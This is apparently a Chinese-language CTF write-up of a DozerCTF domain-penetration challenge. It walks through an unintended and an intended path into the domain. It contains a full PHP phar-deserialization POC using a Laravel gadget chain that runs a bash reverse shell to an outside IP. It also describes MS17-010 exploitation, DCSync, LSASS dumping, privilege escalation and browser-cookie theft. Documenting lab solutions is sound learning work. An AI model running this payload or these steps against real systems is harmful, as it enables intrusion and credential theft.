周末打了DozerCTF的域渗透题目,题目思路很好,出题人和运维师傅也都很热心的解答问题,在这里还是首先感谢金陵科技学院的师傅们精心准备的赛题
中间环境下线和不稳定的问题耽误了一些时间,我在第一天下午的时候用非预期打完了,第二天开始看预期解,最后遗憾的就是没有按预期打完整个环境
以下是在做题期间的一些思路,文章最后有一些个人对比赛中考点的延伸扩展,算是我自己对预期的考点加以实战中遇到的情况的想象吧,对应也有很多种解法,这些可以延伸出很多有意思的点
0x00 非预期
lightcms 1.3.5的RCE漏洞魔改,dozer/dozer123进后台(这个弱密码卡了我很久),可以直接读文件:
然后读漏洞点源码,审计发现写死了上传扩展名:
但可以先远程下载phar文件,再利用file_get_contents
进行phar反序列化
poc如下,利用larvel的链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace{
$command = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/117.53.27.121/13569 0>&1'");
$dispater = new Illuminate\Bus\Dispatcher("system");
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($PendingBroadcast);
$phar -> stopBuffering();
rename('phar.phar','phar.txt');
}
生成phar文件并上传,然后利用phar伪协议:
反弹shell:
探测一下内网服务,因为已知有域,重点探测88和389:
可以看到10.10.1.1开放了445、88、389,我们再从ldap确认一下(防止误认为vcenter等服务器)
然后再通过netbios看一下机器名,方便后面如果要打zerologon用
由于是ctf环境,所以优先考虑直接获取权限的漏洞,扫一波17010,发现域控存在该漏洞,且系统版本为2012,基本为稳定利用
直接使用msf来打:
读flag:
利用域控机器账户可添加用户并加入域管组:
dcsync,通过用户列表可以看出来环境里还存在exchange
猜测最终的flag应该在flag用户的邮箱里(因为看过了ldap没有flag),考虑到不影响环境原本打算使用changentlm、setntlm来修改密码,然后再将密码还原回去(或者pth_to_ews,或者推组策略上exchange…总之域控已经拿下来方法就很多了)但这里暴力一点直接通过net user
更改flag的密码,登录exchange拿到flag
然后分别横向拿flag:
题目描述提示有一台是存在杀软的,但现在已经有了凭据,直接连接CIFS把flag拷贝出来即可:
然后把剩下的一台不在域内的web打了就行了
0x01 正常打的
由于刚开始第一天是逆着打(从域控往外打),考点都是自己根据场景云想象的(瞎猜的),到第二天的时候思路已经有点晕了,flag也不知道该交哪个题,只能一个一个试
回到正题,第一台拿下后扫内网,发现有一台开着siteserverCMS,拿网上的exp怎么打都不行,后来发现换个目录就好了
改一下脚本上传目录的参数:
exp打一下
成功拿到webshell
由于是iis用户所以就用sweetpotato提了权:
flag在iis目录下的web.config.bak里面:
这台不在域内,所以得找一下去域的路子,既然有web,首选就是先翻数据库配置文件:
拿到加密的链接,使用之前exp文章里的解密方法进行解密:
可以看到连了内网另外一台sqlserver,是sa,并且这台有杀软
本来以为是360的,没想到是卡巴斯基,直接用xp_cmdshell就行
flag:
添加管理员用户并利用clr开启3389:
利用RPC加载SSP,直接用之前优化过的工具dump
结果竟然没域的凭据:
不过我们psexec提到system,这样暂时就算入域了
到这bloodhound跑了一下,没看到啥东西,打不动了,溜了
赛后问了下出题人,原来是有个第三方进程,dump下来
拿到alice的密码
然后登alice-pc
上面跑着chrome进程
拖chrome的数据:
拿到另一台wordpress的cookie,这里cookie没了
然后就是cookie过wordpress的二次认证,后台getshell,dump lsass登域控,结束,预期拿flag用户的flag就是pth_to_ews,但是方法其实有很多,就不多说了
0x02 总结
打完之后感觉出题的师傅应该实战经验是比较足的,因为全程是没有过多的考到域内的手法(SPN、委派等),基本都是考查渗透过程中的基本功。个人认为比我安洵杯的那道题出的要好得多,而且不管是预期还是非预期其实可以延伸出来很多东西